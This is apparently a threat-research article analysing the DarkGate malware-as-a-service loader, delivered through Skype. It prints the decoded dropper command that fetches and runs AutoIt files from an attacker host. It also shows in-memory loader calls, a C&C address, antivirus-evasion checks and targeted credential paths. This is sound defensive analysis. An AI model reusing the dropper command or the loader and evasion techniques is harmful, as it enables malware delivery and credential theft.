--- title: DarkGate relies on malicious AutoIt scripts description: DarkGate was first spotted in 2018. New attacks have used Skype messages with malicious VBA attachments. The main purpose of this script is to download and execute the AutoIt script, which has been observed in DarkGate campaigns since 2020. A user with the name ‘RastaFarEye’ advertised his malware on underground Russian language forums, and it now has numerous capabilities. canonical_url: https://www.acronis.com/en/tru/posts/darkgate-relies-on-malicious-autoit-scripts/ locale: en last_updated: 2026-10-27 --- * [Home](https://www.acronis.com/en/tru/) * [Articles](https://www.acronis.com/en/tru/posts/) * [Acronis Threat Research Unit](https://www.acronis.com/en/tru/authors/acronis-threat-research-unit/) 16 November 2023 # DarkGate relies on malicious AutoIt scripts DarkGate was first spotted in 2018. New attacks have used Skype messages with malicious VBA attachments. The main purpose of this script is to download and execute the AutoIt script, which has been observed in DarkGate campaigns since 2020. A user with the name ‘RastaFarEye’ advertised his malware on underground Russian language forums, and it now has numerous capabilities. Author: **[Acronis Threat Research Unit](https://www.acronis.com/en/tru/authors/acronis-threat-research-unit/)** ## Summary ● Delivered to victims through malicious Skype attachments, including VBA and MSI files ● Executes in the memory from compiled AutoIt scripts ● Have string obfuscation using Base64 with custom table ● Avoids anti-malware services ● Steals data from browsers, mail agents and clipboard ● Can download miner and remote desktop applications ## Introduction DarkGate was first spotted in 2018. [New attacks](https://www.bleepingcomputer.com/news/security/darkgate-malware-spreads-through-compromised-skype-accounts/) have used Skype messages with malicious VBA attachments. The main purpose of this script is to download and execute the AutoIt script, which has been observed in DarkGate campaigns since 2020. A user with the name ‘RastaFarEye’ advertised his malware on underground Russian language forums. He noted that it now works as ‘malware-as-a-service’ and has a current limit of 10 users. RastaFarEye says he has been developing DarkGate since 2017 and it now has numerous capabilities, including avoiding detection by anti-malware services. ## Technical details ### Delivery DarkGate is delivered to victims as a malicious message in Skype, containing a VBS script or MSI file. The VBS script includes some text at the beginning of its file, which was stolen from the ‘prnjobs.vbs’ file — an official Microsoft file — which is used to pause, resume, cancel and print job lists. ![Image 1: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/c5b32ddc7fbb5d456582f5113240ece4.png) The first string in this file has an encoded command: _'/****c**** ****c****d**** ****/****d**** ****%****t****e****m****p****%**** ****& **** ****c****u****r****l**** ****-****o**** ****A****u****t****o****i****t****3****.****e****x****e**** ****h****t****t****p****:****/****/****e****u****g****e****l****e****n****s****.****c****o****m****:****2****3****5****1**** **** & **** ****c****u****r****l**** ****-****o**** ****b****w****m****h****t****m****.****a****u****3**** ****h****t****t****p****:****/****/****e****u****g****e****l****e****n****s****.****c****o****m****:****2****3****5****1****/****m****s****i****q****p****w****u****c****s****y****z**** **** & **** ****A****u****t****o****i****t****3****.****e****x****e**** ****b****w****m****h****t****m****.****a****u****3****_ It reads it and removes the ‘*’ symbols from it. The result is: _/c cd /d %temp% & curl -o AutoIt3.exe http://eugelens.com:2351 & curl -o bwmhtm.au3 http://eugelens.com:2351/msiqpwucsyz & AutoIt3.exe bwmhtm.au3_ Then it executes it with ‘cmd.exe’. ![Image 2: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/97ff77dfc49969bfb1cfb2b448132c3c.png) Upon executing this command, it connects to the remote server to download the two files. The console outputs some information about the download process. During the analysis, the servers have been brought offline, and the files can no longer be downloaded. ![Image 3: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/244a3af88b877768936fb2cc520ddd6f.png) The file names are: _AutoIt3.exe – legitimate file,_ _BASIC-like scripting language_ _Bwmhtm.au3 – compiled AutoIt3 script_ The MSI files have the same purpose, but do not download files; DarkGate simply installs the files to the specified folder and executes them. DarkGate has been known to use AutoIt scripts in earlier campaigns. Upon opening this file in the text editor, we can see that this script was precompiled. The magic string ‘AU3!EA06’ indicates that it was created and compiled using AutoIt v3.26 or later. ![Image 4: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/1a4fddd8e59f04aaba9b82e093e20c67.png) After decompiling the script, we can see that DarkGate stores an encoded large string in the variables (the first line of compiled script). ![Image 5: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/95efbf764286214e16f4b1ce58c43ee3.png) Next, it checks to see if the ‘C:\Program Files(x86)\Sophos’ folder exists. If not, it executes encoded strings. To decode them it uses the ‘BinaryToString()’ function. ![Image 6: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/e4abba27111c1c2c1aff03c46a1c148a.png) The decoded strings are: _DllCall("kernel32.dll", "BOOL", "VirtualProtect", "ptr", DllStructGetPtr($MFCKuCoyGW), "int", BinaryLen($MzrsVimcSw), "dword", 0x40, "dword*", $oldprotect)_ _DllCall("user32.dll", "lresult", "C"&chr(97)&"llWindowProc", "ptr", DllStructGetPtr($MFCKuCoyGW), "hwnd", 0, "uint", 0, "wparam", 0, "lparam", 0)_ The purpose of those commands is to load a decrypted payload to the memory and execute it. ### Overview Obtained bytes are a PE32 file, written in Borland Delphi. It has a fake compilation date stamp. ![Image 7: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/ea6cd93b87def530a081f1cf3d1f47f3.png) ### Execution #### Gathering system information At the start of execution, the malware sample obtains some information about the system. First, it uses ‘GetKeyboardType’ with the following parameters: ‘0’ – keyboard type, ‘1’ – keyboard subtype. ![Image 8: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/e72e68acbde89fed4733cac71a9ca0a6.png) Then DarkGate checks the operating system version and startup information. ![Image 9: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/b33dd9822d3c635c10f7a9de27058dcc.png) Later, it uses another import to obtain the system version information and also retrieves the user’s name. ![Image 10: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/767afaf356ef03c558899053ac9987a7.png) Next, imports are used during execution: _CSDVersion_ _CurrentBuildNumber_ _GetComputerName_ _GetEnvironmentVariableA_ _GetSystemInfo_ #### Strings obfuscation While this sample has a lot of readable strings, it also has a number of encoded strings. To decode them, it loads its encoded value and calls the ‘sub_455C58’ function. ![Image 11: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/40e9c7464f777623753799763b299bf5.png) This function has 864 references to it, meaning that this sample has the same amount of encoded strings. ![Image 12: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/b21db5be6fe676680e77fca10caddff9.png) The decoding function uses the Base64 method with a custom table. ![Image 13: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/d200a70e111611ca2193a81cbc034428.png) Actually, there are two custom tables in this sample, and the Base64 method uses both of those to decode a lot of strings during execution. ![Image 14: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/1e1da5ec605e2dafc70a84d5b0b240d7.png) #### Loading imports During execution, the malware sample loads a lot of imports and saves them to the variables for further usage. Those include network functions, operations with processes, drivers and more. ![Image 15: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/a19b6566af0f66b94da343d3d3e94c9a.png) ![Image 16: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/0c444127f508554c698dc70cd8128b65.png) #### Configuration The configuration extraction begins with loading the string ‘internal_config_config…_config’. The malware sample then loads the encoded value and decodes it with the method described above. ![Image 17: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/2ff3d9e65886978f59cc871bc0e92bb3.png) The decoded configuration is then saved in the memory. ![Image 18: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/cf30fd1a93be9946a348f85c485fd623.png) #### Checking anti-malware services To check the presence of anti-malware services, DarkGate uses two tactics. The first is to take a snapshot of all running processes and compare their names with their own list using previously loaded imports ![Image 19: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/f389ed0950816424559922d3a1251ebd.png) Processes list: _Nis.exe_ _Nortonsecurity.exe_ _Smc.exe_ _Uiseagnt.exe_ _Mcshield.exe_ _Mcuicnt.exe_ _Superantispyware.exe_ _vkise.exe_ _Mbam.exe_ _Cis.exe_ _Bytefence.exe_ _Sdscan.exe_ _Qhsafetry.exe_ _Totalav.exe_ _psuaservice.exe_ The second tactic is to check for existence of the next folders: _C:\ProgramData\BitDefender_ _C:\Program Files\Bitdefender_ _C:\ProgramData\AVAST_ _C:\Program Files\AVAST Software_ _C:\ProgramData\AVG_ _C:\ProgramData\Kaspersky Lab_ _C:\Program Files (x86)\Avira_ _C:\Program Files (x86)\IObit_ _C:\Program Files\Malwarebytes_ _C:\ProgramData\Emsisoft_ _C:\Program Files\Quick Heal_ _C:\Program Files (x86)\F-Secure_ _C:\Program Files (x86)\Sophos_ The malware sample also sets next register value to disable Windows Error Reporting service: _HKCU\SOFTWARE\Microsoft\Windows\Windows Error Reporting\DontShowUI 1_ #### Auto-start setup The malware sample created the ‘.lnk’ file with random name in next folder: _C:\Users\Flare\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kacdaba.lnk_ The file contains the next command in the target: _C:\ProgramData\hbhbbac\AutoIt3.exe C:\ProgramData\hbhbbac\ccbcaef.au3_ Those files are copies of AutoIt.exe and ‘.au3’ script. ![Image 20: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/81a36cfec65795f9e05115740baa4cba.png) #### Network activity During execution, DarkGate calls the ‘sub_433630’ function, which is similar to the ‘sub_455C58’(Base64 decoding). The only difference between them is the table, which is used in the decoding process: zLAxuU0kQKf3sWE7ePRO2imyg9GSpVoYC6rhlX48ZHnvjJDBNFtMd1I5acwbqT+= ![Image 21: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/a8140eacf4c639d9a1ced7a2bbea8188.png) The result of this operation is C&C server address: **_http//80.66.88.145_** The first TCP packet, which was prepared to be sent to the server, is also decoded. ![Image 22: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/6a0043c1ac46e8b69d8b90440cd7590e.png) This packet will be sent with the ‘id=’, ‘data=’ and ‘act=’ fields. ![Image 23: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/0ba47507bac2908a74c4d8cbc20c4bf8.png) The ‘id=’ is encoded value that contains following data: ● Processor ID ● Processor name string ● Computer name ![Image 24: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/dc3b3eafbf62d3ea541bc7c377a15d89.png) The ‘data=’ section is encoded in the following way: ● Obtains the key by performing XOR operation between ID size and each ID symbol ● Encodes original data with Base64 using custom table: _‘zLAxuU0kQKf3sWE7ePRO2imyg9GSpVoYC6rhlX48ZHnvjJDBNFtMd1I5acwbqT+=’_ ● Performs XOR operation between Base64 encoded value and key The ‘act=’ field is used to be a pointer on message type. Unfortunately, by the time of analysis this server has already been taken offline and the sample couldn’t connect to it. ![Image 25: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/1bc90461341d1501a373421eefe5eaad.png) #### Data collection and other capabilities While the C&C server has been taken offline, the program cannot reveal all its potential. But looking at the decoded strings, we can see what it can do. To collect data from browser, it decodes strings to check if those files exist: _C:\Program Files\Google\Chrome\Application\chrome.exe_ _C:\Program Files (x86)\Google\Chrome\Application\chrome.exe_ _C:\Program Files\BraveSoftware\Brave-Browser\Application\brave.exe_ _C:\Program Files (x86)\BraveSoftware\Brave-Browser\Application\brave.exe_ _C:\Program Files\Microsoft\Edge\Application\msedge.exe_ _C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe_ Depending on the matched browser, it decodes more strings to steal data from following folders: _Google\Chrome\test_ _Google\Chrome\User Data_ _BraveSoftware\Brave-Browser\test_ _BraveSoftware\Brave-Browser\User Data_ _Mozilla\Firefox\Profiles_ _Microsoft\Edge\test_ _Microsoft\Edge\User Data_ _Opera Software\Opera GX Stable\Network\Cookies_ _Opera Software\Opera Stable\Cookies_ The strings below were found in the sample, which indicates that it can use utilities for obtaining cookie files and passwords from browsers and mail agents. _ChromeCookiesView_ _MailPassView_ _WebBrowserPassView_ There are also some strings that point to the AnyDesk remote desktop application: _New Bot: DarkGate is inside hAnyDesk user without admin rights, executing elevation exploit_ _New Bot: DarkGate is inside hAnyDesk user with admin rights_ _hAnydesk\_NameList_ _hAnydesk\_HandleList_ _hAnyDesk Handle not found_ _hAnyDesk Config:_ _hAnyDesk Password: darkgatepassword0_ _DarkGate not found to get executed on the new hAnyDesk Desktop, Did you enabled Startup option on builder?_ The following strings indicate that this sample can bring a miner on the victim’s machine. Stub: Miner do not start because taskmanager is open! Stub: Miner injected at Defrag.exe Stub: Miner has been killed because not IDLE Stub: Corrupted miner MZ, will redownload miner soon | Retry Stub: Corrupted miner FilesDelimiter is missing, will redownload miner soon | Retry It has a built-in keylogging functionality. Using ‘GetKayState’, ‘GetAsyncKeyState’ and ‘GetKeyboardState’, it captures the input from the keyboard. It can also get the clipboard data. ![Image 26: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/b2c1e196127051d715d3990aa82e087c.png) The keylogging functionality can also obtain the process name, where the user types the information. ![Image 27: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/9495643d45edbc694e2326a6ee518005.png) And, it can take screenshots using ‘GetDc’, ‘GetDeviceCaps’ and ‘CreateCompatibleBitmap’ imports. ![Image 28: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/b8863b11e971db3dd563843cf9d583bd.png) ## Conclusion DarkGate continues its own trend to use malicious AutoIt scripts. Active since 2018, DarkGate continues to develop new features to satisfy its customers. Working as ‘malware-as-a-service,’ it provides different cost subscriptions. To conceal itself, it runs in the memory of ‘AutoIt.exe’ after executing a malicious script. Besides capturing keyboard input, making screenshots and stealing browser credentials, it also can deliver a miner to the target machine. More dangerous consequences can occur if the malware directs the victim to remote desktop applications, such as AnyDesk. In this way, DarkGate can serve for other threat actors to breach victims’ systems to load other more harmful malware. ![Image 29: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/65f8b4ba1d73aac47bc8329a77c01de6.png) ![Image 30: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/696f3c687920d37ed3fe10065e8f74bb.png) ![Image 31: DarkGate relies on malicious AutoIt scripts](https://staticfiles.acronis.com/images/content/77511353e6b0c293f202ad9b00465dac.png) Related articles [The Gentlemen: A closer look at a not-so-gentle ransomware-as-a- service operation](https://www.acronis.com/en/tru/posts/the-gentlemen-a-closer-look-at-a-not-so-gentle-ransomware-as-a-service-operation/) [Acronis AI Copilot: Adoption is high and growing among MSPs](https://www.acronis.com/en/tru/posts/acronis-ai-copilot-adoption-is-high-and-growing-among-msps/) [Acronis Cyberthreats Update, October 2026](https://www.acronis.com/en/tru/posts/acronis-cyberthreats-update-october-2026/) [AI agents at work: What Acronis endpoint data reveals about MSP and SMB usage](https://www.acronis.com/en/tru/posts/ai-agents-at-work-what-acronis-endpoint-data-reveals-about-msp-and-smb-usage/)